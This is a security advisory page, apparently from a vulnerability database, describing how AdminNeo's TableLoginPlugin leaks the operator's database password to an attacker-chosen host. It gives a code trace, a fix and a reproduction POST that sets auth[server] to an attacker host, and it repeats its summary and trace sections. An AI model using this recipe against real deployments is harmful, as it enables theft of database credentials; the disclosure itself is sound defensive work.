SchwachstellendatenbankGHSA-rgjx-wcgv-pw7g

GHSA-rgjx-wcgv-pw7g: 
PHP Schwachstellenanalyse und -minderung

Summary

TableLoginPlugin authenticates users against a users table. Its $credentials constructor argument lets the operator keep the real database username and password on the server, so end users only need their table login. This is the documented EditorNeo use case. The problem is that the plugin's getCredentials() pairs those secret credentials with SERVER, which comes straight from the request (?<driver>=<server>, filled from the auth[server] login field). In EditorNeo that field is only a hidden input. AdminNeo opens the database connection before the plugin checks the user's table login. So an unauthenticated attacker can set auth[server] (and auth[driver]) to a host they control, and AdminNeo will send the operator's database username and password there:

  • HTTP drivers (Elasticsearch, ClickHouse; both in the default all-drivers build): the credentials go into http://user:pass@attacker:port/, and PHP's http wrapper sends them as an Authorization: Basic header. Any HTTP listener captures them in plaintext.
  • PostgreSQL: pg_connect("host=<attacker> user='…' password='…'"). A rogue server that sends AuthenticationCleartextPassword gets the password in plaintext, because libpq allows this by default.

Details

  • Class: Credential disclosure, carried by a pre-auth outbound connection to an attacker-chosen host (SSRF-adjacent)
  • CWE: CWE-522 (Insufficiently Protected Credentials); related to CWE-918 and CWE-441 (confused deputy)
  • CVSS 3.1: 7.5 High, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Affected: adminneo-org/adminneo (composer) v5.8.0, tag v5.8.0, commit dfc621f837fc1c7929f3a825cb2ff16f1f47abe8. plugins/TableLoginPlugin.php on main is unchanged as of 2026-10-01. Both AdminNeo and EditorNeo are affected.
  • Discoverer: Artur Chlebicki arturichlebicki@gmail.com

Summary

TableLoginPlugin authenticates users against a users table. Its $credentials constructor argument lets the operator keep the real database username and password on the server, so end users only need their table login. This is the documented EditorNeo use case. The problem is that the plugin's getCredentials() pairs those secret credentials with SERVER, which comes straight from the request (?<driver>=<server>, filled from the auth[server] login field). In EditorNeo that field is only a hidden input. AdminNeo opens the database connection before the plugin checks the user's table login. So an unauthenticated attacker can set auth[server] (and auth[driver]) to a host they control, and AdminNeo will send the operator's database username and password there:

  • HTTP drivers (Elasticsearch, ClickHouse; both in the default all-drivers build): the credentials go into http://user:pass@attacker:port/, and PHP's http wrapper sends them as an Authorization: Basic header. Any HTTP listener captures them in plaintext.
  • PostgreSQL: pg_connect("host=<attacker> user='…' password='…'"). A rogue server that sends AuthenticationCleartextPassword gets the password in plaintext, because libpq allows this by default.

Source → sink trace (v5.8.0)

  1. Source: admin/include/auth.inc.php:208. $server = $auth["server"] comes from unauthenticated POST auth[server], and line 211 sets $driver = $auth["driver"] when no servers config matches. In EditorNeo these are only hidden inputs (editor/core/Admin.php:56-57), so the attacker can change them.
  2. admin/include/auth.inc.php:223. save_login($driver, $server, $username, $password, $db) stores the attacker's own username and password in the session. Line 239 then redirects to auth_url($driver, $server, …), i.e. ?elastic=attacker.example:8080&username=x.
  3. admin/include/bootstrap.inc.php:146. define("AdminNeo\SERVER", $_GET[DRIVER]), so SERVER is the attacker's host.
  4. admin/include/auth.inc.php:362. validate_server_input() only checks syntax. It allows http/https, a host with no path, and any port from 1024 to 65535. It does not limit the host to the operator's server.
  5. admin/include/auth.inc.php:367 → connect_to_db() (:157-163). The hasServers() allow-list at line 159 applies only when the operator set a servers config. Then connect(true, $error) runs. This happens before authenticate() at line 368.
  6. admin/drivers/elastic.inc.php:418 (and likewise clickhouse.inc.php:372, pgsql.inc.php:725). [$server, $username, $password] = Admin::get()->getCredentials().
  7. admin/core/Pluginer.php:76-92. Plugins are called before the core Admin object, and the first non-null result wins.
  8. Sink: plugins/TableLoginPlugin.php:56-58. return array_merge([SERVER], $this->credentials); returns [attacker host, operator DB user, operator DB password].
  9. admin/core/Connection.php:77-91. openPasswordless() first calls open() with an empty password. When that fails (the attacker's endpoint isn't Elasticsearch), it calls open($server, $username, $password) with the real password.
  10. admin/drivers/elastic.inc.php:109. build_http_url($server, $username, $password, …) builds http://<urlencoded user>:<urlencoded pass>@attacker.example:8080 (auth.inc.php:85). Line 46: get_url() / file_get_contents connects to the attacker and sends Authorization: Basic base64(user:pass).
    • For PostgreSQL: pgsql.inc.php:40-49. host_port($server) feeds "host=$host port=$port user='…' password='…'" into pg_connect().

Why no sanitizer stops it

  • validate_server_input() (auth.inc.php:18-60) checks only URL syntax, scheme, and the privileged-port range. It has no notion of an "allowed server".
  • The only server allow-list is connect_to_db()'s hasServers() check, which applies only when a servers config is present. TableLoginPlugin ignores the servers mapping anyway: it returns the raw SERVER key, not $server->getServer(), so the plugin effectively expects a server-less config. defaultServer only works together with servers (Config.php:153-161), so the typical EditorNeo + TableLoginPlugin setup (new TableLoginPlugin("db", "users", ["dbuser", "dbpass"]) with no servers key) has no allow-list.
  • TableLoginPlugin::authenticate() runs only after the connection is made, so the credentials have already been sent.
  • The fix for GHSA-m4j3-gq7v-wpp8 (5.4.0) added an X-elastic-product check on the response. That does not stop the request, or its Authorization header, from going out.

Preconditions and reachability

  • The operator uses TableLoginPlugin with non-empty $credentials, which is the plugin's documented purpose, and has no servers config.
  • The attacker is unauthenticated, needs no table account, and sends a single POST to the login form.
  • The AdminNeo/EditorNeo server can make outbound connections to the attacker on a port ≥1024. To capture plaintext you need the elastic or clickhouse driver compiled in (default build = all drivers, and the elastic driver needs allow_url_fopen) or pgsql.

Impact

The database username and password that the operator deliberately kept on the server, so that table-authenticated end users never see them, are disclosed to an unauthenticated remote attacker. That crosses the boundary from an anonymous web visitor to full database credentials, which the attacker can use directly against the database or any service that reuses them.

Suggested fix

  • TableLoginPlugin::getCredentials() should not combine stored credentials with a request-supplied server. Add a required $server constructor parameter and return [$this->server, ...$this->credentials]. Alternatively, return stored credentials only when SERVER matches a configured server, and then use $server->getServer(). Also reject DRIVER values other than the configured default driver.
  • As defence in depth, make core code refuse any plugin that supplies credentials (non-empty password from getCredentials() that differs from get_password()) unless SERVER matches the operator's default or configured server.

Suggested reproduction for the reviewer (not run by finder)

Config: EditorNeo/AdminNeo, plugins => [new TableLoginPlugin("app", "users", ["dbuser", "S3cret!"])], no servers. On the attacker host, run any HTTP listener that logs request headers and answers each request with HTTP/1.1 401 (a bare nc would stall the first, password-less probe until the socket timeout), then: POST / auth[driver]=elastic&auth[server]=attacker:8080&auth[username]=x&auth[password]=y&auth[db]=. Follow the redirect. The second request carries Authorization: Basic ZGJ1c2VyOlMzY3JldCE=.

Please publish this as a GitHub Security Advisory and request a CVE (GitHub can assign one as a CNA). Please credit Artur Chlebicki (GitHub: @Artur12555) as the reporter/discoverer. I'm happy to verify a fix or provide any further detail. Thank you! Credit: @Artur12555.

Proof of concept

  1. Source: admin/include/auth.inc.php:208. $server = $auth["server"] comes from unauthenticated POST auth[server], and line 211 sets $driver = $auth["driver"] when no servers config matches. In EditorNeo these are only hidden inputs (editor/core/Admin.php:56-57), so the attacker can change them.
  2. admin/include/auth.inc.php:223. save_login($driver, $server, $username, $password, $db) stores the attacker's own username and password in the session. Line 239 then redirects to auth_url($driver, $server, …), i.e. ?elastic=attacker.example:8080&username=x.
  3. admin/include/bootstrap.inc.php:146. define("AdminNeo\SERVER", $_GET[DRIVER]), so SERVER is the attacker's host.
  4. admin/include/auth.inc.php:362. validate_server_input() only checks syntax. It allows http/https, a host with no path, and any port from 1024 to 65535. It does not limit the host to the operator's server.
  5. admin/include/auth.inc.php:367 → connect_to_db() (:157-163). The hasServers() allow-list at line 159 applies only when the operator set a servers config. Then connect(true, $error) runs. This happens before authenticate() at line 368.
  6. admin/drivers/elastic.inc.php:418 (and likewise clickhouse.inc.php:372, pgsql.inc.php:725). [$server, $username, $password] = Admin::get()->getCredentials().
  7. admin/core/Pluginer.php:76-92. Plugins are called before the core Admin object, and the first non-null result wins.
  8. Sink: plugins/TableLoginPlugin.php:56-58. return array_merge([SERVER], $this->credentials); returns [attacker host, operator DB user, operator DB password].
  9. admin/core/Connection.php:77-91. openPasswordless() first calls open() with an empty password. When that fails (the attacker's endpoint isn't Elasticsearch), it calls open($server, $username, $password) with the real password.
  10. admin/drivers/elastic.inc.php:109. build_http_url($server, $username, $password, …) builds http://<urlencoded user>:<urlencoded pass>@attacker.example:8080 (auth.inc.php:85). Line 46: get_url() / file_get_contents connects to the attacker and sends Authorization: Basic base64(user:pass).
    • For PostgreSQL: pgsql.inc.php:40-49. host_port($server) feeds "host=$host port=$port user='…' password='…'" into pg_connect().

Impact

The database username and password that the operator deliberately kept on the server, so that table-authenticated end users never see them, are disclosed to an unauthenticated remote attacker. That crosses the boundary from an anonymous web visitor to full database credentials, which the attacker can use directly against the database or any service that reuses them.


Quelle: NVD

Verwandte Themen PHP Schwachstellen:

CVE-ID

Schwere

Punktzahl

Technologieen

Bauteilname

CISA KEV-Exploit

Hat Lösung

Veröffentlichungsdatum

GHSA-25rf-99hr-7pmrHIGH8.1
  • PHP logoPHP
  • codeigniter4/framework
NeinJaNov 01, 2026
GHSA-rgjx-wcgv-pw7gHIGH7.5
  • PHP logoPHP
  • adminneo-org/adminneo
NeinJaNov 01, 2026
GHSA-ggh8-3chg-48w7HIGH7.2
  • PHP logoPHP
  • adminneo-org/adminneo
NeinJaNov 01, 2026
GHSA-g478-vjq4-75hfMEDIUM5.3
  • PHP logoPHP
  • mage-os/module-blog
NeinJaNov 02, 2026
GHSA-q5vv-mh5m-fxvmMEDIUMN/A
  • PHP logoPHP
  • adminneo-org/adminneo
NeinJaNov 01, 2026

Kostenlose Verwundbarkeitsbewertung

Benchmark für Ihre Cloud-Sicherheitslage

Bewerten Sie Ihre Cloudsicherheitspraktiken in 9 Sicherheitsbereichen, um Ihr Risikoniveau zu bewerten und Schwachstellen in Ihren Verteidigungen zu identifizieren.

Anforderungsbewertung

Zusätzliche Wiz-Ressourcen

Eine personalisierte Demo anfordern

Sind Sie bereit, Wiz in Aktion zu sehen?

"Die beste Benutzererfahrung, die ich je gesehen habe, bietet vollständige Transparenz für Cloud-Workloads."
David EstlickCISO
"„Wiz bietet eine zentrale Oberfläche, um zu sehen, was in unseren Cloud-Umgebungen vor sich geht.“ "
Adam FletcherSicherheitsbeauftragter
"„Wir wissen, dass, wenn Wiz etwas als kritisch identifiziert, es auch wirklich kritisch ist.“"
Greg PoniatowskiLeiter Bedrohungs- und Schwachstellenmanagement